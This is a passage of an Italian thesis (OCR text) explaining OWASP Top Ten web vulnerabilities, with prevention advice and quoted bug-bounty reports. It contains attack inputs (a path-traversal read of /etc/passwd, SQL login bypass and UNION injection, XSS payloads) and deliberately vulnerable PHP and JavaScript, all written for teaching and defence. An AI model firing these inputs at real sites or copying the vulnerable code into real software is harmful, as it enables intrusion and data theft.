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Sommario

Il numero di applicazioni web che vengono utilizzate ogni giorno ¢ consistente. Gli
utenti trovano comodo aver accesso ad una miriade di servizi, attraverso il solo utiliz-
zo dello smartphone o del computer. Questo pero porta a delle conseguenze dal punto
di vista della sicurezza (di un utente o dei suoi dati). Infatti, se queste applicazioni
non fossero sicure, di certo il bacino di utenza si ridurrebbe drasticamente.

L’obiettivo di questo studio e quello di illustrare le principali minacce a cui sono
sottoposte le moderne applicazioni web e mostrare come sia possibile sfruttarle.
Si vuole quindi dimostrare, data un’applicazione affetta da una vulnerabilita nota,
come sia possibile approfittare della falla di sicurezza e quale impatto potenziale
essa puo avere sull’applicazione. Per riuscire a fare cio, si utilizzeranno le nozioni
acquisite nella prima parte ed alcuni strumenti specifici che verranno introdotti nel
documento.

I risultati di questa ricerca mostrano che la presenza di vulnerabilita in un’ap-
plicazione web puo portare a conseguenze molto gravi in termini di sicurezza degli
utenti del sito, protezione di dati riservati e protezione dell’attivita di impresa on-
line. Sulla base di questi risultati si consiglia di prevenire la presenza di eventuali
falle di sicurezza, agendo sia sulla progettazione del software, sia effettuando dei test
per accertarsi della sicurezza sotto vari aspetti dell’applicazione.
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Capitolo 1.
Introduzione

Le applicazioni web al giorno d’oggi sono molto diffuse: basti pensare al fatto
che la maggior parte dei servizi che si utilizzano quotidianamente, come ad esempio
I'informazione, lo shopping o i servizi bancari, sono ora accessibili tramite un appli-
cazioni web. Risulta quindi evidente che queste applicazioni debbano essere sicure
per evitare che dei malintenzionati possano attaccarle. Lo scopo di questa tesi e
quello di illustrare le principali minacce che colpiscono le applicazioni web. La sele-
zione di tali vulnerabilita & stata fatta basandosi sul progetto OWASP Top Tenﬂ il
quale stila una classifica delle dieci categorie di vulnerabilta piu diffuse. La OWASP
(Open Web Application Security Project®) ¢ una fondazione no-profit che lavora
per migliorare la sicurezza del software. L’ultima revisione del progetto OWASP
Top Ten ¢ del 2021 e pertanto si prendera questa come riferimento.

La tesi ¢ articolata in due parti: nella prima parte verranno presentate le vul-
nerabilita pitu importanti che affliggono le applicazioni web, procedendo con una
descrizione delle stesse, le principali cause, le conseguenze relative alla loro presenza
ed alcuni esempi di casi reali; la seconda parte, invece, ¢ la parte sperimentale, dove
si prenderanno in esame una versione di un software, nel particolare del CMS Pre-
staShoIfL con delle vulnerabilita note e si procedera passo passo con l'exploit delle
stesse. Nel capitolo 2 viene trattata la OWASP Top Ten e viene effettuata una pano-
ramica sulle varie categorie di vulnerabilita di cui ¢ composta. Nei capitoli 3] [4] [f] si
trattano alcune delle vulnerabilita piu diffuse, divise per categoria di appartenenza.
Nel particolare viene descritto il loro funzionamento, spesso affiancato ad esempi con
pezzi di codice, e si forniscono delle linee guida per quanto riguarda la prevenzione.
Nel capitolo [6] si descrive come & stata portata avanti la ricerca delle vulnerabilita
note che successivamente verranno sfruttate. Il capitolo[7|si occupa della descrizione
di come si € preparato un banco di prova per poter testare ’applicazione in locale.
Infine, nei capitoli[§e[9] viene descritto il procedimento che si € attuato per sfruttare
le vulnerabilita, mostrando che impatto hanno sull’applicazione. Il capitolo [L0]| trae

le conclusioni da quanto € emerso nel documento.

"https://www.owasptopten.org/
*https://owasp.org
3https://www.prestashop.com/


https://www.owasptopten.org/
https://owasp.org
https://www.prestashop.com/




Parte |I.

Analisi delle vulnerabilita






Capitolo 2.
OWASP Top Ten

Le vulnerabilita che affliggono un’applicazione web possono essere di vario tipo e
possono portare a conseguenze pill o meno gravi. In generale una vulnerabilita ¢ una
debolezza o una falla del sistema che permette ad un malintenzionato di acquisire
un certo livello di controllo sul sito, rubare dati privati o causare malfunzionamenti
ad esempio. Come accennato in precedenza, ci si basera sulla revisione del 2021 [21],
che ¢ cosi composta:

1. A01 - Broken Access Control

2. A02 - Cryptographic Failures

3. A03 - Injection

4. A04 - Insecure Design

5. A05 - Security Misconfiguration

6. A06 - Vulnerable and Outdated Components

7. AQ7 - Identification and Authentication Failures

8. A0S - Software and Data Integrity Failures

9. A09 - Security Logging and Monitoring Failures21
10. A10 - Server-Side Request Forgery

Si procedera ora ad una descrizione piu approfondita delle sopracitate categorie,
specificando le vulnerabilita che verranno trattate in seguito.

2.1. Broken Access Control

Questa classe di vulnerabilita riguarda ’autorizzazione e quindi, come 'appli-
cazione web gestisce ’accesso a determinate funzioni o contenuti in base all’utente.
L’autorizzazione ¢ lo strato che divide 'utente dalla parte del sistema che non & pub-
blicamente accessibile (si pensi ad esempio all’area riservata di un cliente in un sito

di e-commerce). Non va confusa perd con 'autenticazione che ¢ invece il processo
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per verificare I'identita di un utente. La presenza di questa classe di vulnerabilita e
molto diffusa nelle applicazioni web moderne (OWASP segnala che il 94% delle ap-
plicazioni testate risulta vulnerabile ad una qualche forma di broken access control
[1]). Uno dei motivi per il quale questo tipo di vulnerabilita ¢ cosi diffuso ¢ per-
ché l'autorizzazione deve essere controllata ad ogni richiesta e a differenza di altre
funzionalita, questa deve essere implementata dall’uomo; non puo essere mitigata

adottando una determinata tecnologia.

Questa classe puo essere ulteriormente suddivisa in [29):
¢ controllo degli accessi verticale
o controllo degli accessi orizzontale

o controllo degli accessi dipendente dal contesto

Controllo degli accessi verticale E l'insieme dei meccanismi che restringono 'ac-
cesso a funzionalita sensibili che non sono disponibili ad alcuni tipi di utente. Gra-
zie a questo controllo, si distinguono diversi livelli di utenza per I’applicazione web.

IL’esempio piu banale ¢ la distinzione tra utente normale e amministratore del sito.

Controllo degli accessi orizzontale E linsieme dei meccanismi che restringono
I’accesso di un utente ad un sottoinsieme di risorse dello stesso tipo. Ad esempio &
quello che accade in una applicazione web di posta elettronica: un utente ha accesso

solo alle sue email.

Controllo degli accessi dipendente dal contesto E l'insieme dei meccanismi che
restringono 'accesso a funzionalita e/o risorse dell’applicazione in base allo stato
della stessa o all’interazione con 'utente. Per chiarire il concetto, questi meccanismi
evitano che 'utente esegua delle azioni nell’ordine sbagliato. Ad esempio in un e-
commerce si vuole evitare che 'utente modifichi il contenuto del carrello dopo aver

effettuato il pagamento.

2.2. Cryptographic Failures

Questa categoria comprende tutte quelle vulnerabilita che possono presentarsi a
causa di problemi dovuti alla crittografia. Spesso, la presenza di questo tipo di
vulnerabilita porta all’esposizione di dati sensibili. Cid puo essere ricondotto a
diverse cause, le quali possono essere [2]: trasferimento dei dati sensibili in chiaro,
utilizzo di algoritmi crittografici deboli o obsoleti, utilizzo di chiavi crittografiche
deboli o riutilizzo delle stesse e mancanza di header di sicurezza.



2.3. Injection

2.3. Injection

La categoria Injection racchiude in sé tutte le vulnerabilita che si presentano a
causa di una gestione non corretta dell'input dell’'utente o di altre fonti. E buona
norma, a prescindere, non fidarsi mai dell’input di un utente e quindi di "sanificare"
il piu possibile cio che proviene da una fonte non attendibile. Quando cid non ac-
cade, un utente malintenzionato potrebbe modificare il suo input per controllare la
risposta dell’applicazione a suo piacimento. Questo ¢ quello che accade quando I'in-
put dell’'utente va a far parte di un comando che andra interpretato da un database
o da una shell ad esempio, e porta alle seguenti vulnerabilita che verranno trattate
nel capitolo

e SQL injection
e XSS - Cross Site Scripting

e CSV injection

2.4. Insecure Design

Questa categoria si focalizza sui rischi relativi a difetti e/o vulnerabilita presen-
ti nell’architettura dell’applicazione. Una buona pratica da seguire per evitarne e
quella del Threat Modeling. Il threat modeling € un processo mediante il quale si
analizzano ed enumerano le potenziali minacce, come eventuali vulnerabilita strut-
turali, e si predispongono le difese da mettere in campo per difendersi dalle stesse
[13]. E inoltre importante svolgere un’analisi del rischio prima della progettazione
di un’applicazione (o software in generale) per avere un’idea generica del livello di
sicurezza che essa necessita. Questa categoria non comprende un tipo specifico di
vulnerabilita. Esempi della presenza di insecure design sono [4]:

e presenza di output di messaggi di errore: nel particolare errori relativi al
database o al tipo di template utilizzati

e possibilita di recupero credenziali attraverso domande e risposte: vietato in
quanto non assicurano l'identita dell’'utente e sono potenzialmente ricavabili

da attivita di social engineering [15].

2.5. Security Misconfiguration

Con Security Misconfiguration si intende una non corretta configurazione del si-
stema. Nel particolare si € in presenza di una configurazione non corretta quando

[5]:

 non sono stati eliminati account di test e/o account di default
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e sono presenti funzioni aggiuntive che non vengono attualmente utilizzate dal-
I’applicazione e che quindi contribuiscono solo ad aumentare la superficie di
attacco

e i permessi (scrittura/lettura) sui server cloud non sono configurati corretta-

mente
e i componenti non sono configurati in modo sicuro

« sono utilizzati componenti obsoleti o affetti da vulnerabilita note (si veda |2.6])

2.6. Vulnerable and Outdated Components

La presenza di componenti obsoleti o affetti da vulnerabilita ¢ determinante per
il livello di sicurezza dell’applicazione. Basti pensare che nello sviluppo di un’appli-
cazione moderna sono concatenati tra loro diversi componenti che lavorano sinergi-
camente. Questa categoria di vulnerabilita si presenta quando l’aggiornamento di
tali componenti causa dei problemi con I’applicazione, in particolare la nuova ver-
sione del componente potrebbe: non soddisfare alcune dipendenze, cambiare nome
a delle funzioni o deprecare altre funzioni e cosi via. Visto che per adattare il si-
stema ai cambiamenti ¢ necessario tempo e lavoro, questo viene spesso rimandato

sottovalutando la sua importanza.

2.7. ldentification and Authentication Failures

La seguente categoria riguarda le minacce che possono derivare da una non corret-
ta gestione dei processi di identificazione ed autenticazione. Nella prima categoria si
faceva riferimento all’autorizzazione mentre adesso si parla di autenticazione. I ter-
mini possono sembrare simili, ma mentre il primo riguarda di verificare se si hanno i
permessi per svolgere una determinata azione, il secondo serve per accertarsi che la
persona sia chi dice di essere. Questo processo si traduce spesso nell’azione di login,
dove si forniscono email e password ad esempio, per verificare I'identita della perso-
na. Un’applicazione web ha problemi relativi all’identificazione e all’autenticazione
quando [7]:

o permette il brute force su una richiesta di login, cioe e possibile inviare richieste
senza limiti provando ogni volta password diverse (spesso prese da dizionari di

password comuni)

e permette 'utilizzo di password banali e facilmente indovinabili come ad esem-

pio "passwordl'
e non prevede 'autenticazione a due fattori

e espone il token di sessione su un url



2.8. Software and Data Integrity Failures

« utilizza algoritmi crittografici deboli o trasmette il contenuto in testo in chiaro
(si veda [2.2)

2.8. Software and Data Integrity Failures

Le applicazioni si basano fortemente su librerie, moduli e plugins. Essi risulta-
no agevoli nello sviluppo di un’applicazione perché permettono di non dover re-
implementare delle funzioni che sono gia state sviluppate da altri. E di per sé non
€ una pratica sbagliata, ma lo diventa nel momento in cui non viene verificata se la
fonte di quel componente sia sicura o meno. E per questo che si raccomanda 1'utiliz-
zo di strumenti, come ad esempio la firma digitale, per accertarsi che il componente
proviene da una fonte sicura [8]. Un altro caso che ricade all’interno di questa ca-
tegoria ¢ quello in cui dei dati o oggetti serializzati sono salvati in una struttura a
cui un malintenzionato puo accedere e modificare questo tipo di file. Anche stavolta
& necessario ricorrere ad una verifica dell’integrita del dato prima di procedere alla

deserializzazione.

2.9. Security Logging and Monitoring Failures

Finora si e parlato di categorie di vulnerabilita intese come punti deboli dell’ap-
plicazione o dell’architettura. Questa categoria si distingue dalle altre perché si
concentra sulla mancanza di un adeguato sistema di monitoraggio e di logging. Il
concetto che sta alla base & che non & possibile identificare, prevenire e porre rime-
dio ad una eventuale minaccia o falla che colpisce il sistema se non si € in grado di
identificarla attraverso i propri strumenti. Si € in presenza di un inadeguato sistema
di monitoraggio e logging quando [9]:

e eventi importanti non vengono inseriti nei log (ad esempio: login, login falliti,

transazioni)

e i log dell’applicazione e delle API non vengono monitorati riguardo attivita
sospette

e l'applicazione non rileva scansioni da software automatizzati

e D’applicazione non ¢ in grado di rilevare attacchi in tempo reale

2.10. Server-Side Request Forgery

Server-Side Request Forgery (o SSRF) € una vulnerabilita che permette all’attac-
cante di indurre I'applicazione web ad effettuare richieste HT'TP verso un dominio
arbitrario da lui scelto [10]. Un caso tipico & quello in cui 'attaccante forza 1’appli-
cazione ad effettuare richieste a servizi interni all’infrastruttura dell’organizzazione.

Questa vulnerabilita verra trattata nel dettaglio, nel capitolo






Capitolo 3.

Broken Access Control

3.1. IDOR - Insecure Direct Object Reference

IDOR é un particolare tipo di vulnerabilita relativa al controllo degli accessi [18].
E una delle vulnerabilitd pitt diffuse che colpisce applicazioni web e APL. E un
difetto di progettazione che permette ad un utente di accedere a dati sensibili senza
una adeguata autorizzazione. La sua presenza cosi diffusa ¢ data anche dal fatto
che richiede testing manuale che non puo essere automatizzato in alcun modo. Ne

esistono diversi tipi, che sono:
« modifica dei parametri del’URL
e manipolazione del corpo della richiesta

e mass assignment

3.1.1. Modifica dei parametri dell’URL

E il tipo piu conosciuto. In questo caso 'URL della richiesta contiene un para-
metro (spesso chiamato ‘id‘) o un riferimento, ad una risorsa a cui si sta accedendo.

Ad esempio:

http://www.my-website.com/resources?id=4

o anche:

http://www.my-website.com/resources/4
Un utente malintenzionato potrebbe modificare il parametro ‘id‘ in modo da accedere
ad un’altra risorsa. Qualora 'applicazione mostri la risorsa corrispondente al nuovo
‘id* e I'utente non potrebbe accedervi si ha un IDOR. E da notare che la vulnerabilita

non ¢ limitata al verbo HIT'TP GET, ma se & presente, pud essere sfruttata anche
mediante tutti gli altri verbi HTTP.

3.1.2. Manipolazione del corpo della richiesta

Questo tipo & tipico delle richieste POST (ma non solo) che contengono dei

parametri nascosti. Ad esempio il seguente form:

11
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<form name="change_password_form" action="change_password.php">
<input type="password" name="new-password">
<input type="password" name="confirm-new-password">
<input type="hidden" name="account_id" value="123">

</form>

contiene un parametro nascosto (hidden) che non ¢ modificabile dall’utente attraver-
so dei campi di input visibili. Un utente malintenzionato pero, potrebbe modificare
il campo ‘value‘ del parametro direttamente dal corpo della richiesta e, cosi facendo,
modifichirebbe non la sua password, ma la password di un altro utente.

3.1.3. Mass assighment

Conosciuto anche come object injection o autobinding [19]. Con mass assignment
si intende la funzionalita di alcuni framework che permette agli sviluppatori di iniet-
tare un insieme di dati inseriti dall’utente in un form, direttamente in un oggetto o
in un database. Questo, anche se rappresenta un enorme vantaggio per chi sviluppa
il codice, potrebbe avere ripercussioni sulla sicurezza dello stesso. Ipotizziamo un
form per la registrazione ad un sito web:

<form name="register" action="register.php">
<input type="text" name="password">

<input type="password" name="password">
</form>

E immaginiamo che l'invio di questo form sfrutti la mass assignment e crei un
oggetto "Utente", utilizzando, oltre ai dati forniti dall’utente, un dato in piu chiamato
"role" con valore "user" che indica il ruolo dell’'utente. Ora, se I'utente aggiunge
nella richiesta il parametro role e lo setta ad "admin" potrebbe facilmente ottenere

i permessi di amminstratore.

3.1.4. Prevenzione

Per prevenire il verificarsi di IDOR ¢ consigliabile che ad ogni richiesta si verifichi
se I'utente possa accedere a quel file. Controllando i permessi dell’'utente ad ogni
richiesta potenzialmente risolverebbe il problema dato che, anche se fosse possibile
indovinare l'indirizzo di un’altra risorsa, questa non sarebbe accessibile. La pro-
postaF_-I di OWASP ¢ quella di utilizzare una funzione di hash con un salt (definito
a livello dell’applicazione) per rimpiazzare 'identificatore [17]. Questo renderebbe

sicuramente piu difficile riuscire ad enumerare le risorse.

3.1.5. Caso reale

Nel 2020 ¢ stata riportata la presenza di un IDOR, che permetteva di pagare
utilizzando la carta di credito di un’altra persona. La vulnerabilita e stata trovata
sul sito Yelp.

"https://github.com/righettod/poc-idor

12
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3.2. Path traversal

177 - 1.D.0.R To Order,Book,Buy,reserve On YELP FOR FREE (UNAUTHORIZED USE OF OTHER USER'S
#391092
CREDIT CARD)

SUMMARY BY YELP

@hk755a found an Insecure Direct Object Reference (IDOR) Vulnerability that allowed an attacker to pay with someone else’s registered credit card,
while ordering food with Grubhub through the /checkout/transaction_platform endpeint. No credit card information was disclosed as a result of this

vulnerability.

This is yet another vulnerability in @hk755a's collection of IDOR reports, and we appreciate their diligent effort in working with the Yelp Security team to
prevent others from obtaining free food through our system!

SUMMARY BY HK755A

ﬂ There was an Insecure Direct Object Reference Vulnerability that allowed the attacker to pay from someone else’s credit card while purchasing orders (or
Y tobe precise, Ordering Food) on yelp through the "/checkout/transaction_platform" endpoint, thus making the order's free for himself. The vulnerability
had the potential to affect all the credit cards saved on yelp.com (1,500,000+).

Yelp validated and fixed the vulnerability within a few hours, thus showing their concern for user's security! Special thanks to (@Calvinli for sharing

credit_card_id which allowed the validation of the bug.

Figura 3.1.: Report della vulnerabilita sul sito HackerOne

3.2. Path traversal

Rientra nella categoria Broken Access Control anche la vulnerabilita di path tra-
versal. Path traversal, anche conosciuta come directory traversal, ¢ una vulnerabilita
che permette ad un utente malintenzionato di accedere a file arbitrari nel server do-
ve si trova lapplicazione, infrangendo cosi le politiche di controllo degli accessi [12].
Solitamente questa minaccia & presente nelle applicazioni che utilizzano input pro-
veniente dall’utente per costruire il percorso di un file (path) a cui si deve accedere,
senza pero eseguire alcuna sanificazione. Si consideri il seguente pezzo di codice in
PHP per includere dei file:

$file = $_GET[’file’];
if (isset ($file))

{
include ("resources/$file");
}
else
{
include ("index.php");
}

Se viene specificato un parametro GET 'file" nell’url, allora il codice provera a
caricare quel file (un’immagine nell’esempio in questione), altrimenti mostrera il file

index.php. Digitando il seguente url:

http://www.my-website.com/resources/cat.png

all’utente verra mostrata (se esiste) I'immagine cat.png. Quello che I'utente puo fare
per aggirare il sistema e includere file a suo piacimento ¢ semplicemente aggiungere
una serie di "../" che servono per risalire da una cartella alla cartella "genitore", e
poi aggiungere il percorso del file che si desidera visualizzare, in questo modo:

http://www.my-website.com/resources/../../../../etc/passwd

13
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Notare che non & necessario che il numero di "../" sia preciso per risalire alla radice
del filesystem.

3.2.1. Prevenzione

Il modo piu efficace per evitare il path traversal e di non passare direttamente
Iinput dell’utente alla API del filesystem [12]. Per fare questo l'input dovrebbe
essere, per prima cosa, sottoposto a una validazione lato client, che controlla che
i caratteri utilizzati non siano tra quelli vietati (blacklist), oppure prevedere so-
lo una serie di caratteri che possono essere utilizzati (whitelist). Successivamente,
I'applicazione dovrebbe concatenare il percorso del file attuale con 'input dell’uten-
te e applicare una funzione per ottenere il percorso assoluto della risorsa a cui si
vuole accedere. Per fare cio esistono dei metodi o funzioni gia previsti da alcuni
linguaggi di programmazione. Il Java ad esempio mette a disposizione il metodo
"File.getCanonicalPath()", mentre il PHP utilizza la funzione "realpath()".
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4.1. SQL injection

La SQL injection € un tipo di code injection che si puo presentare quando l'input
dell’'utente forma parte di una query eseguita su un database SQL. La presenza
di questa vulnerabilita permette all’'utente di accedere arbitrariamente a dati che
non gli appartengono, attraverso la modifica ad hoc del suo input [26]. In molti
casi, ¢ possibile non solo visualizzare dati, ma anche modificarli e/o aggiungerne a
piacimento, applicando modifiche permanenti al database. L’impatto che puo avere
¢ molto grave, perché in alcuni casi permette all’attaccante di cancellare I’intero
database, oppure estrapolarne tutti i dati sensibili. Si mostra, a titolo di esempio,
del codice vulnerabile ad una SQL injection. Si supponga di avere un sito web con
una funzione di login. Le credenziali dell’utente sono salvate in un database SQL e
quando si effettua la richiesta di login esse vengono confrontate con quelle inviate
dall’utente.

$query = mysqli_query ("SELECT * FROM Users
WHERE username =’" . $ _POST[’username’] ."°
AND password =’" . $_POST[’password’] .’"
)
In questo esempio, le credenziali dell’utente sono concatenate senza alcuna valida-
zione alla query SQL. Quello che un utente malintenzionato puo fare e inviare come
username la stringa "” or 1=1; —", cosi facendo la query diventerebbe:

SELECT * FROM Users WHERE username=’’ or 1=1 -- AND password=’’

Nel particolare, I'apice singolo all’inizio chiude il campo username, OR 1=1 ¢ un
comando SQL, e i due trattini servono per commentare il resto della query. Quindi
I’esecuzione di questo codice risulterebbe sempre vera, grazie a OR 1=1, e 'attacante
sarebbe in grado di effettuare il login con un utente a sua scelta.

L’esempio appena visto, anche se banale, permette di capire quanto sia importante
evitare questo tipo di minaccia. Nella sezione si vedranno le principali misure
preventive da poter adottare per evitare la presenza di SQL injection.

Esistono diversi tipi di SQL injection e sono [26]:

e Union-based SQL injection: questo tipo prevede 1'utilizzo della clausola
SQL "UNION". Quest’ultima permette di estrapolare dati da tabelle differenti

15



Capitolo 4. Injection

del database, mettendo alla fine della query la clausola stessa assieme ad un
altra query SELECT. Ad esempio:

SELECT colonnal FROM tabella WHERE colonna2 = $input

Con un input ad hoc, diventa:

SELECT colonnal FROM tabella WHERE colonna?2
UNION SELECT colonna3 FROM tabella?2

1]
[y

Per avere successo una SQL injection basata sulla UNION deve rispettare due
regole: il numero di colonne deve essere lo stesso per entrambe le SELECT e i
tipi di dato della seconda query devono corrispondere con quelli della prima.

o Blind SQL injection: questo tipo assomiglia ad una classica SQL injection
tranne per il fatto che non restituisce nessun output riguardo la query eseguita.
Cio lo rende piu difficile da sfruttare rispetto alle altre.

4.1.1. Prevenzione

Il miglior modo per prevenire la presenza di SQL injection & quello di utilizzare
prepared statement [22] assieme a query parametrizzate. Le dichiarazioni preparate
consistono nell’utilizzare modelli gia pronti in cui la query € separata dai parametri.
Diversamente dalle immissioni di dati manuali, in cui i valori vengono assegnati gia al
momento dell’esecuzione di un comando, i Prepared Statement utilizzano variabili
o metacaratteri che vengono poi sostituiti con valori reali all’interno del sistema.
Cosi facendo il database sapra quale parte costituisce la query e quale parte i dati
(o parametri). I prepared statement sono gia implementati nella maggior parte dei
linguaggi di programmazione.

Un altro metodo consiste nell’adottare la tecnica ORM (Object-Relational Map-
ping). ORM ¢ una tecnica che consente di eseguire query e manipolare i dati da un
database utilizzando un paradigma orientato agli oggetti. Adottando questo meto-
do non sara necessario scrivere alcuna query, ma bastera utilizzare i metodi previsti

dalla libreria per ottenere lo stesso risultato.

4.1.2. Caso reale

Il link per cancellare la sottoscrizione ad Uber, era vulnerabile ad una SQL

injection (figura .

4.2. XSS - Cross Site Scripting

Cross Site Scripting € una vulnerabilita che permette ad un utente malintenzionato
di caricare del codice malevolo su di un sito che altrimenti sarebbe considerato sicuro
[11]. Questo tipo di attacco permette di aggirare la Same Origin Policy(SOP).
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4.2. XSS - Cross Site Scripting

ﬁ; w SQL Injection on sctrack.email.uber.com.cn Share
TIMELINE - EXPORT
’lf orange submitted a report to Uber Jul 9th (5 years ago)

Hi, Uber Security team

Ijust traveled to China, when | call Uber in China. | received an advertisement mail from Uber and | found the unsubscribe link is different from the original
unsubscribe link, and there is a SQL Injection under the unsubscribe link.

You can see where to find the unsubscribe link from the attachments.
The parameter of user_id is suffered from SQL Injection.
Payload

Code Wrap lines Copy Download

1 http://sctrack.email.uber.com.cn/track/unsubscribe.do?p=eyJ1c2VyX21kIjogIjUSNTUGYWSKIHNSZWWWKDEYKTEXI1wgInd1y2vpdnvyljogIndyywsnzul

You can see the server sleep 12 seconds.

| write a script to dump the database name and user name.

Figura 4.1.: Report della vulnerabilita sul sito HackerOne

Same Origin Policy La Same Origin Policy ¢ un meccanismo di sicurezza che sta-
bilisce come un documento o uno script proveniente da una origin puo interfacciarsi
con una risorsa proveniente da un’altra origin . Per origin si intende la combi-
nazione di protocollo, nome dell’host e porta. Nel particolare uno script caricato
su una origin puo accedere ai dati di una risorsa esterna solo se essi condividono
la stessa origin. Quindi & come se la origin diventasse un perimetro: i dati privati
all’interno di una pagina non possono essere acceduti da pagine di altre origin.
Data la complesstita delle applicazioni moderne esistono diversi modi attraverso
il quale un’attaccante puo aggirare la SOP. Un XSS & un’iniezione di codice Java-
Script all’interno di una pagina. Se un utente malevolo riesce ad eseguire del codice

JavaScript arbitrario all’interno della pagina, potrebbe:

o rubare cookie di sessione e successivamente effettuare il login impersonando la

vittima
e rubare informazioni all’interno della pagina
e compiere azioni per conto della vittima a sua insaputa
Si divide in due tipi diversi, che sono :
e Reflected XSS
e Stored XSS

e DOM-based XSS

4.2.1. Reflected XSS

E il tipo pitt comune di XSS. Si verifica quando I'input dell’utente viene restituito
(riflesso) immediatamente dall’applicazione Web nella pagina di risposta che include
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alcuni o tutti i dati inseriti dall’utente nella richiesta. Se i dati non vengono sanificati
e possibile caricare del codice JavaScript, includendo nell’input il tag "<script>". Si
prenda a titolo di esempio un sito web di e-commerce che implementi una funzione

di ricerca, e che I'url di una richiesta sia il seguente:

http://www.my-website.com/search?q=scarpe

dove "scarpe" & il termine ricercato dall’'utente e si supponga che la pagina di ri-
sposta includa il messaggio "Risultati della ricerca per scarpe" Chiaramente I'input
dell’utente viene riflesso all’interno della pagina. Mettendo come input il seguente
"<script>alert(1)</script>" e supponendo non ci sia alcuna sanificazione da parte
dell’applicazione, 1'url della nuova richiesta sara del tipo:

http://www.my-website.com/search?q=Y3Cscript%3Ealert (1)%3C/scripti3E

Stavolta al caricamento della pagina, si aprira un alert con scritto "1" e il messaggio
che verra mostrato sara "Risultati della ricerca per" in quanto il tag script viene
correttamente interpretato.

4.2.2. Stored XSS

Questo tipo di XSS ¢ simile al precedente. La differenza principale € che I'input
dell’'utente, viene memorizzato dall’applicazione, spesso attraverso un database, e
successivamente viene mostrato ad altri utenti senza opportuna sanificazione. Un
tipico esempio riguarda la funzione di commenti all’interno di un blog. Se l’appli-
cazione e vulnerabile a XSS e 'attaccante invia un commento contenente del codice
JavaScript, esso verra eseguito ogni volta che un’utente visita la pagina senza che
lui faccia nulla. Il comportamento ¢ schematizzato nella figura

4.2.3. DOM-based XSS

I tipi precedenti prevedono uno specifico comportamento, nel quale ’applicazione
prende l'input dell’utente e successivamente lo mostra in una pagina di risposta.
Questa terza categoria non prevede questo pattern. Stavolta, il processo che porta
all’esecuzione del codice JavaScript ¢ il seguente [29]:

e un utente richiede uno speciale url, creato ad hoc dall’attaccante, contenente
del codice JavaScript.

o la risposta del server non contiene il codice caricato dall’attaccante.

« ma quando il browser dell’utente processa la risposta, il codice JavaScript viene
eseguito ugualmente.

Questa serie di eventi si verifica perché il JavaScript puo accedere al document object
model (DOM) del browser e, percio, puo determinare qual & 1'url usato per caricare
una determinata pagina. Se ’applicazione utilizza parte di un url per aggiornare
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4.2. XSS - Cross Site Scripting

4- |l browser esegue il cadice,

. inviando il token di sessione

Applicazione

Figura 4.2.: Schema di di un attacco avvalendosi di uno Stored XSS

dinamicamente i contenuti di una determinata pagina, allora 1’applicazione potreb-
be essere vulnerabile. Per chiarire meglio questo concetto, si prenda in esame un
applicazione che per mostrare i messaggi di errore utilizzi sempre la stessa pagina,
cambiando di volta in volta il messaggio di errore. Questo potrebbe essere fatto
mediante il codice JavaScript seguente [20]:
/*url di esempio
http://www.my-website.com/error?message="Articolo non trovato"
*/
<script>
var url=document.location;
var message=url.substring(url.index0f (’message=’)+8, url.length);
document .write (message) ;
</script

L’attaccante ora dovra limitarsi ad inviare alla vittima un url che come messaggio
di errore abbia il codice JavaScript da eseguire e il gioco & fatto.

4.2.4. Prevenzione

Le tre regole chiave da mettere in pratica per evitare la presenza di XSS sono [11]:

e validare I'input: alla ricezione dell’input dell’'utente, questo deve essere vali-
dato e sanificato in maniera adeguata. Ad esempio € necessario sostituire i
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Capitolo 4. Injection

caratteri HTML che possono essere pericolosi con la loro versione codificata.
La maggior parte dei linguaggi di programmazione sono provvisti di funzioni
di questo tipo.

¢ codificare 'output: quando i dati inseriti dall’'utente vengono mostrati nella
risposta € necessario codificarli come nel punto precedente.

o Utilizzare appropriati header nella risposta: per impedire il XSS nelle risposte
che contengono HTML e JavaScript € possibile utilizzare gli header "Content-
Type" e "X-Content-Type-Options" per garantire che il browser interpreti le
risposte nel modo desiderato.

4.2.5. Caso reale

11 sito di MoPub era vulnerabile ad uno stored XSS nella pagina dei report (figura

13).
19 Stored XSS on reports. Share

TIMELINE - EXPO

. giddsec submitted a report to Twitter. Jan 25th (3 years age)
Summary:

Stored XSS can be submitted on reports, and anyone who will check the report the XSS will trigger.

Description:
Stored XSS, also known as persistent XSS, is the more damaging than non-persistent XSS. It occurs when a malicious script is injected directlyinto a
vulnerable web application.

Steps To Reproduce:

1. Go to https://app.mopub.com/reports/custom/
2. Click New network report.
3. Onthe name, enter payload: "> <img src=x onerror=alert (document.domain)>

4. Click Run and save then XSS will trigger.

Demonstration of the vulnerability:
PoC: xssed.webm (F412243)

Tested on Firefox and chrome.
Impact

The attacker can steal data from whoever checks the report.

Figura 4.3.: Report della vulnerabilita sul sito HackerOne

4.3. CSV injection

La vulnerabilita CSV injection, anche nota come Formula injection, ¢ strettamen-
te collegata ai fogli di calcolo (Microsoft Excel, LibreOffice Calc, ...) perché affligge i
file in formato CSV(Comma Separated Value). Questa occorre quando l’applicazio-
ne inserisce in file CSV, dati non attendibili e senza operare alcun controllo su di essi.
La minaccia ¢ dovuta alla presenza di input che inizino con dei caratteri speciali,
perché all’apertura del file con un programma per fogli di calcolo, questi vengo-
no interpretati come formule. I caratteri speciali che permettono l'interpretazione
dell’input in formula sono :
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4.3. CSV injection

o segno di uguaglianza (=)
o chiocciola (@)

e pilt (+)

e meno (-)

. tab (0x09)

o carriage return (0x0D)

Un esempio di questa vulnerabilita lo si puo trovare al capitolo [0

4.3.1. Prevenzione

E importante notare che non basta far si che una cella non inizi con uno dei carat-
teri speciali elencati qui sopra, ma € necessario effettuare dei controlli sui caratteri
(doppi apici, singolo apice, virgola e punto e virgola) che permettono all’attaccante di
iniziare una nuova cella. Pertanto, per prevenire la presenza di questa vulnerabilita
& necessario adottare le seguenti regole:

 racchiudere ogni campo di una cella tra doppi apici (")

o inserire all’inizio di ogni cella un singolo apice (7). Questo fa si che la cella non

sia interpretata come formula.

e per ogni doppio apice, aggiungerne un altro
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SSRF

Come gia detto in precedenza, questa vulnerabilita permette di effettuare richieste
per conto dell’applicazione stessa. Cio conduce alla possibilita di poter raggiungere
servizi interni che altrimenti sarebbero inaccessibili, come ad esempio un’istanza
AWS, o di forzare il server a connettersi a servizi esterni arbitrari, causando una
possibile perdita di dati sensibili [25]. Per chiarire il concetto, si consideri un e-
commerce che carica i dettagli dei prodotti attraverso una API (determinata da un
url). Sisupponga che I'url sia un parametro specificato nell’url della richiesta HTTP.

L’url di una richiesta ad un determinato prodotto potrebbe essere:

http://my-website.com/prodotti/dettagli?url=apiprodotti.com/12

In questo caso il parametro GET della richiesta indica 1'url che ’applicazione deve
